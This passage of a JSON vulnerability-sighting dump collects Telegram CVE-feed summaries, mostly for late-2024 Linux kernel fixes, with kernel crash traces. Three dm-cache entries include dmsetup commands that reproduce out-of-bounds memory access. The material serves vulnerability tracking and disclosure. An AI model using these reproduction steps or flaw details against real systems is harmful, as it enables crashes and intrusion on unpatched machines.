CVE-2024-50924 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : Insecure permissions in Silicon Labs (SiLabs) Z-Wave Series 700 and 800 v7.21.1 allow attackers to cause disrupt communications between the controller and the device itself via repeatedly sending crafted packets to the controller. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:30.000000Z"}, {"uuid": "17243dba-033e-4343-8450-aa768957932a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50919", "type": "seen", "source": "https://t.me/cvedetector/11379", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50919 - Jpress Arbitrary File Upload and Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50919 \nPublished : Nov. 18, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : Jpress until v5.1.1 has arbitrary file uploads on the windows platform, and the construction of non-standard file formats such as .jsp. can lead to arbitrary command execution \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-18T21:34:12.000000Z"}, {"uuid": "66ae4232-4c77-4178-93d1-9542b84fbf09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50281", "type": "seen", "source": "https://t.me/cvedetector/11432", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50281 - \"Linux kernel KEYS Trusted NULL Pointer Dereference Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50281 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nKEYS: trusted: dcp: fix NULL dereference in AEAD crypto operation  \n  \nWhen sealing or unsealing a key blob we currently do not wait for  \nthe AEAD cipher operation to finish and simply return after submitting  \nthe request. If there is some load on the system we can exit before  \nthe cipher operation is done and the buffer we read from/write to  \nis already removed from the stack. This will e.g. result in NULL  \npointer dereference errors in the DCP driver during blob creation.  \n  \nFix this by waiting for the AEAD cipher operation to finish before  \nresuming the seal and unseal calls. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:13.000000Z"}, {"uuid": "252d4e9f-0211-4246-9db8-b7b19f6ee65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50430", "type": "seen", "source": "https://t.me/cvedetector/11500", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50430 - Beaver Builder Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50430 \nPublished : Nov. 19, 2024, 7:15 p.m. | 37\u00a0minutes ago \nDescription : Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in The Beaver Builder Team Beaver Builder allows Stored XSS.This issue affects Beaver Builder: from n/a through 2.8.3.7. \nSeverity: 5.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T21:00:45.000000Z"}, {"uuid": "dfe39e4a-47cb-4f2d-abd3-67886efd6f2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50803", "type": "seen", "source": "https://t.me/cvedetector/11455", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50803 - Redaxo Core CMS Media Pool Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50803 \nPublished : Nov. 19, 2024, 4:15 p.m. | 16\u00a0minutes ago \nDescription : The mediapool feature of the Redaxo Core CMS application v 5.17.1 is vulnerable to Cross Site Scripting(XSS) which allows a remote attacker to escalate privileges \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T17:38:43.000000Z"}, {"uuid": "a553a9bc-47de-464a-b403-847636e63b96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50290", "type": "seen", "source": "https://t.me/cvedetector/11427", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50290 - \"Cirrus Logic cx24116 Underflow Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50290 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmedia: cx24116: prevent overflows on SNR calculus  \n  \nas reported by Coverity, if reading SNR registers fail, a negative  \nnumber will be returned, causing an underflow when reading SNR  \nregisters.  \n  \nPrevent that. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:06.000000Z"}, {"uuid": "ed1cccb3-5017-456f-a7ea-65466b883eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50293", "type": "seen", "source": "https://t.me/cvedetector/11420", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50293 - Oracle Linux Linux Kernel SMC Dangling Sk Pointer Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50293 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet/smc: do not leave a dangling sk pointer in __smc_create()  \n  \nThanks to commit 4bbd360a5084 (\"socket: Print pf->create() when  \nit does not clear sock->sk on failure.\"), syzbot found an issue with AF_SMC:  \n  \nsmc_create must clear sock->sk on failure, family: 43, type: 1, protocol: 0  \n WARNING: CPU: 0 PID: 5827 at net/socket.c:1565 __sock_create+0x96f/0xa30 net/socket.c:1563  \nModules linked in:  \nCPU: 0 UID: 0 PID: 5827 Comm: syz-executor259 Not tainted 6.12.0-rc6-next-20241106-syzkaller #0  \nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024  \n RIP: 0010:__sock_create+0x96f/0xa30 net/socket.c:1563  \nCode: 03 00 74 08 4c 89 e7 e8 4f 3b 85 f8 49 8b 34 24 48 c7 c7 40 89 0c 8d 8b 54 24 04 8b 4c 24 0c 44 8b 44 24 08 e8 32 78 db f7 90 <0f0b 90 90 e9 d3 fd ff ff 89 e9 80 e1 07 fe c1 38 c1 0f 8c ee f7  \nRSP: 0018:ffffc90003e4fda0 EFLAGS: 00010246  \nRAX: 099c6f938c7f4700 RBX: 1ffffffff1a595fd RCX: ffff888034823c00  \nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000  \nRBP: 00000000ffffffe9 R08: ffffffff81567052 R09: 1ffff920007c9f50  \nR10: dffffc0000000000 R11: fffff520007c9f51 R12: ffffffff8d2cafe8  \nR13: 1ffffffff1a595fe R14: ffffffff9a789c40 R15: ffff8880764298c0  \nFS:  000055557b518380(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000  \nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033  \nCR2: 00007fa62ff43225 CR3: 0000000031628000 CR4: 00000000003526f0  \nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000  \nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400  \nCall Trace:  \n   \n  sock_create net/socket.c:1616 [inline]  \n  __sys_socket_create net/socket.c:1653 [inline]  \n  __sys_socket+0x150/0x3c0 net/socket.c:1700  \n  __do_sys_socket net/socket.c:1714 [inline]  \n  __se_sys_socket net/socket.c:1712 [inline]  \n  \nFor reference, see commit 2d859aff775d (\"Merge branch  \n'do-not-leave-dangling-sk-pointers-in-pf-create-functions'\") \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:58.000000Z"}, {"uuid": "6ae8953f-f8a6-4d89-b8b2-8b08457f59ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50292", "type": "seen", "source": "https://t.me/cvedetector/11419", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50292 - \"STM32 ASoC DMA Channel Release Null Pointer Dereference Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50292 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nASoC: stm32: spdifrx: fix dma channel release in stm32_spdifrx_remove  \n  \nIn case of error when requesting ctrl_chan DMA channel, ctrl_chan is not  \nnull. So the release of the dma channel leads to the following issue:  \n[    4.879000] st,stm32-spdifrx 500d0000.audio-controller:  \ndma_request_slave_channel error -19  \n[    4.888975] Unable to handle kernel NULL pointer dereference  \nat virtual address 000000000000003d  \n[...]  \n[    5.096577] Call trace:  \n[    5.099099]  dma_release_channel+0x24/0x100  \n[    5.103235]  stm32_spdifrx_remove+0x24/0x60 [snd_soc_stm32_spdifrx]  \n[    5.109494]  stm32_spdifrx_probe+0x320/0x4c4 [snd_soc_stm32_spdifrx]  \n  \nTo avoid this issue, release channel only if the pointer is valid. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:58.000000Z"}, {"uuid": "c2c3c027-9eb6-4bba-b5d4-0133d8ed6284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50291", "type": "seen", "source": "https://t.me/cvedetector/11418", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50291 - \"Linux kernel DVB Buffer Index Check\"\", \n  \"Content\": \"CVE ID : CVE-2024-50291 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmedia: dvb-core: add missing buffer index check  \n  \ndvb_vb2_expbuf() didn't check if the given buffer index was  \nfor a valid buffer. Add this check. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:57.000000Z"}, {"uuid": "6e896508-8629-4ea7-90c3-4da309e2b4b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50289", "type": "seen", "source": "https://t.me/cvedetector/11417", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50289 - Av7110 Spectre Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-50289 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmedia: av7110: fix a spectre vulnerability  \n  \nAs warned by smatch:  \n drivers/staging/media/av7110/av7110_ca.c:270 dvb_ca_ioctl() warn: potential spectre issue 'av7110->ci_slot' [w] (local cap)  \n  \nThere is a spectre-related vulnerability at the code. Fix it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:53.000000Z"}, {"uuid": "d031e4a0-a229-47b8-afc2-2cd0a00645ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50302", "type": "seen", "source": "https://t.me/cvedetector/11416", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50302 - Linux Kernel HID Memory Leak Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50302 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nHID: core: zero-initialize the report buffer  \n  \nSince the report buffer is used by all kinds of drivers in various ways, let's  \nzero-initialize it during allocation to make sure that it can't be ever used  \nto leak kernel memory via specially-crafted report. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:15:53.000000Z"}, {"uuid": "e881b2d9-da68-45a5-984d-459e04b74e36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50288", "type": "seen", "source": "https://t.me/cvedetector/11426", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50288 - Linux Kernel Media Vivid Buffer Overwrite Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50288 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nmedia: vivid: fix buffer overwrite when using > 32 buffers  \n  \nThe maximum number of buffers that can be requested was increased to  \n64 for the video capture queue. But video capture used a must_blank  \narray that was still sized for 32 (VIDEO_MAX_FRAME). This caused an  \nout-of-bounds write when using buffer indices >= 32.  \n  \nCreate a new define MAX_VID_CAP_BUFFERS that is used to access the  \nmust_blank array and set max_num_buffers for the video capture queue.  \n  \nThis solves a crash reported by:  \n  \n  \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:06.000000Z"}, {"uuid": "bb4fc5f2-ce1d-4c38-babf-5b411abb861e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50298", "type": "seen", "source": "https://t.me/cvedetector/11425", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50298 - \"Enetc NULL Pointer Dereference Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50298 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: enetc: allocate vf_state during PF probes  \n  \nIn the previous implementation, vf_state is allocated memory only when VF  \nis enabled. However, net_device_ops::ndo_set_vf_mac() may be called before  \nVF is enabled to configure the MAC address of VF. If this is the case,  \nenetc_pf_set_vf_mac() will access vf_state, resulting in access to a null  \npointer. The simplified error log is as follows.  \n  \nroot@ls1028ardb:~# ip link set eno0 vf 1 mac 00:0c:e7:66:77:89  \n[  173.543315] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004  \n[  173.637254] pc : enetc_pf_set_vf_mac+0x3c/0x80 Message from sy  \n[  173.641973] lr : do_setlink+0x4a8/0xec8  \n[  173.732292] Call trace:  \n[  173.734740]  enetc_pf_set_vf_mac+0x3c/0x80  \n[  173.738847]  __rtnl_newlink+0x530/0x89c  \n[  173.742692]  rtnl_newlink+0x50/0x7c  \n[  173.746189]  rtnetlink_rcv_msg+0x128/0x390  \n[  173.750298]  netlink_rcv_skb+0x60/0x130  \n[  173.754145]  rtnetlink_rcv+0x18/0x24  \n[  173.757731]  netlink_unicast+0x318/0x380  \n[  173.761665]  netlink_sendmsg+0x17c/0x3c8 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:05.000000Z"}, {"uuid": "01af0f05-18ae-4a55-a989-5fd6bba34db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50297", "type": "seen", "source": "https://t.me/cvedetector/11424", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50297 - Xilinx AXIENet DMAEngine Queue DQL Enqueue Crash Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50297 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: xilinx: axienet: Enqueue Tx packets in dql before dmaengine starts  \n  \nEnqueue packets in dql after dma engine starts causes race condition.  \nTx transfer starts once dma engine is started and may execute dql dequeue  \nin completion before it gets queued. It results in following kernel crash  \nwhile running iperf stress test:  \n  \nkernel BUG at lib/dynamic_queue_limits.c:99!  \n  \nInternal error: Oops - BUG: 00000000f2000800 [#1] SMP  \npc : dql_completed+0x238/0x248  \nlr : dql_completed+0x3c/0x248  \n  \nCall trace:  \n  dql_completed+0x238/0x248  \n  axienet_dma_tx_cb+0xa0/0x170  \n  xilinx_dma_do_tasklet+0xdc/0x290  \n  tasklet_action_common+0xf8/0x11c  \n  tasklet_action+0x30/0x3c  \n  handle_softirqs+0xf8/0x230  \n  \n  \nStart dmaengine after enqueue in dql fixes the crash. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:04.000000Z"}, {"uuid": "bd9db1e1-c3d0-4076-9f24-cc090b3841c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50282", "type": "seen", "source": "https://t.me/cvedetector/11431", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50282 - \"AMD GPU Buffer Overflow\"\", \n  \"Content\": \"CVE ID : CVE-2024-50282 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/amdgpu: add missing size check in amdgpu_debugfs_gprwave_read()  \n  \nAvoid a possible buffer overflow if size is larger than 4K.  \n  \n(cherry picked from commit f5d873f5825b40d886d03bd2aede91d4cf002434) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:12.000000Z"}, {"uuid": "337b5c63-d541-401e-bfe8-11336b321b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50279", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/11430", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50279 - Linux dm-cache Out-of-Bounds Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50279 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndm cache: fix out-of-bounds access to the dirty bitset when resizing  \n  \ndm-cache checks the dirty bits of the cache blocks to be dropped when  \nshrinking the fast device, but an index bug in bitset iteration causes  \nout-of-bounds access.  \n  \nReproduce steps:  \n  \n1. create a cache device of 1024 cache blocks (128 bytes dirty bitset)  \n  \ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"  \ndmsetup create cdata --table \"0 131072 linear /dev/sdc 8192\"  \ndmsetup create corig --table \"0 524288 linear /dev/sdc 262144\"  \ndd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1 oflag=direct  \ndmsetup create cache --table \"0 524288 cache /dev/mapper/cmeta \\  \n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"  \n  \n2. shrink the fast device to 512 cache blocks, triggering out-of-bounds  \n   access to the dirty bitset (offset 0x80)  \n  \ndmsetup suspend cache  \ndmsetup reload cdata --table \"0 65536 linear /dev/sdc 8192\"  \ndmsetup resume cdata  \ndmsetup resume cache  \n  \nKASAN reports:  \n  \n  BUG: KASAN: vmalloc-out-of-bounds in cache_preresume+0x269/0x7b0  \n  Read of size 8 at addr ffffc900000f3080 by task dmsetup/131  \n  \n  (...snip...)  \n  The buggy address belongs to the virtual mapping at  \n   [ffffc900000f3000, ffffc900000f5000) created by:  \n   cache_ctr+0x176a/0x35f0  \n  \n  (...snip...)  \n  Memory state around the buggy address:  \n   ffffc900000f2f80: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8  \n   ffffc900000f3000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  \n  >ffffc900000f3080: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8  \n                     ^  \n   ffffc900000f3100: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8  \n   ffffc900000f3180: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8  \n  \nFix by making the index post-incremented. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:11.000000Z"}, {"uuid": "f4adaabd-49fc-441d-87ce-ad03faa4e328", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50280", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/11429", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50280 - Linux dm Cache Delayed Work Cancelling Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50280 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndm cache: fix flushing uninitialized delayed_work on cache_ctr error  \n  \nAn unexpected WARN_ON from flush_work() may occur when cache creation  \nfails, caused by destroying the uninitialized delayed_work waker in the  \nerror path of cache_create(). For example, the warning appears on the  \nsuperblock checksum error.  \n  \nReproduce steps:  \n  \ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"  \ndmsetup create cdata --table \"0 65536 linear /dev/sdc 8192\"  \ndmsetup create corig --table \"0 524288 linear /dev/sdc 262144\"  \ndd if=/dev/urandom of=/dev/mapper/cmeta bs=4k count=1 oflag=direct  \ndmsetup create cache --table \"0 524288 cache /dev/mapper/cmeta \\  \n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"  \n  \nKernel logs:  \n  \n(snip)  \nWARNING: CPU: 0 PID: 84 at kernel/workqueue.c:4178 __flush_work+0x5d4/0x890  \n  \nFix by pulling out the cancel_delayed_work_sync() from the constructor's  \nerror path. This patch doesn't affect the use-after-free fix for  \nconcurrent dm_resume and dm_destroy (commit 6a459d8edbdb (\"dm cache: Fix  \nUAF in destroy()\")) as cache_dtr is not changed. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:11.000000Z"}, {"uuid": "62dbab47-9ca4-438f-aa5f-e58d7618fba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50278", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/11428", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50278 - \"linux kernel dm cache out-of-bounds access\"\", \n  \"Content\": \"CVE ID : CVE-2024-50278 \nPublished : Nov. 19, 2024, 2:16 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndm cache: fix potential out-of-bounds access on the first resume  \n  \nOut-of-bounds access occurs if the fast device is expanded unexpectedly  \nbefore the first-time resume of the cache table. This happens because  \nexpanding the fast device requires reloading the cache table for  \ncache_create to allocate new in-core data structures that fit the new  \nsize, and the check in cache_preresume is not performed during the  \nfirst resume, leading to the issue.  \n  \nReproduce steps:  \n  \n1. prepare component devices:  \n  \ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"  \ndmsetup create cdata --table \"0 65536 linear /dev/sdc 8192\"  \ndmsetup create corig --table \"0 524288 linear /dev/sdc 262144\"  \ndd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1 oflag=direct  \n  \n2. load a cache table of 512 cache blocks, and deliberately expand the  \n   fast device before resuming the cache, making the in-core data  \n   structures inadequate.  \n  \ndmsetup create cache --notable  \ndmsetup reload cache --table \"0 524288 cache /dev/mapper/cmeta \\  \n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"  \ndmsetup reload cdata --table \"0 131072 linear /dev/sdc 8192\"  \ndmsetup resume cdata  \ndmsetup resume cache  \n  \n3. suspend the cache to write out the in-core dirty bitset and hint  \n   array, leading to out-of-bounds access to the dirty bitset at offset  \n   0x40:  \n  \ndmsetup suspend cache  \n  \nKASAN reports:  \n  \n  BUG: KASAN: vmalloc-out-of-bounds in is_dirty_callback+0x2b/0x80  \n  Read of size 8 at addr ffffc90000085040 by task dmsetup/90  \n  \n  (...snip...)  \n  The buggy address belongs to the virtual mapping at  \n   [ffffc90000085000, ffffc90000087000) created by:  \n   cache_ctr+0x176a/0x35f0  \n  \n  (...snip...)  \n  Memory state around the buggy address:  \n   ffffc90000084f00: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8  \n   ffffc90000084f80: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8  \n  >ffffc90000085000: 00 00 00 00 00 00 00 00 f8 f8 f8 f8 f8 f8 f8 f8  \n                                             ^  \n   ffffc90000085080: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8  \n   ffffc90000085100: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8  \n  \nFix by checking the size change on the first resume. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-19T04:16:10.000000Z"}, {"uuid": "8ed59f54-f379-4903-800d-d6f9eb9bc4d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50296", "type": "seen", "source": "https://t.me/cvedetector/11423", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50296 - HuaWei Net-Series: Kernel Crash Due to Simultaneous Driver Uninstallation and VF Disabling\", \n  \"Content\": \"CVE ID : CVE-2024-50296 \nPublished : Nov. 19, 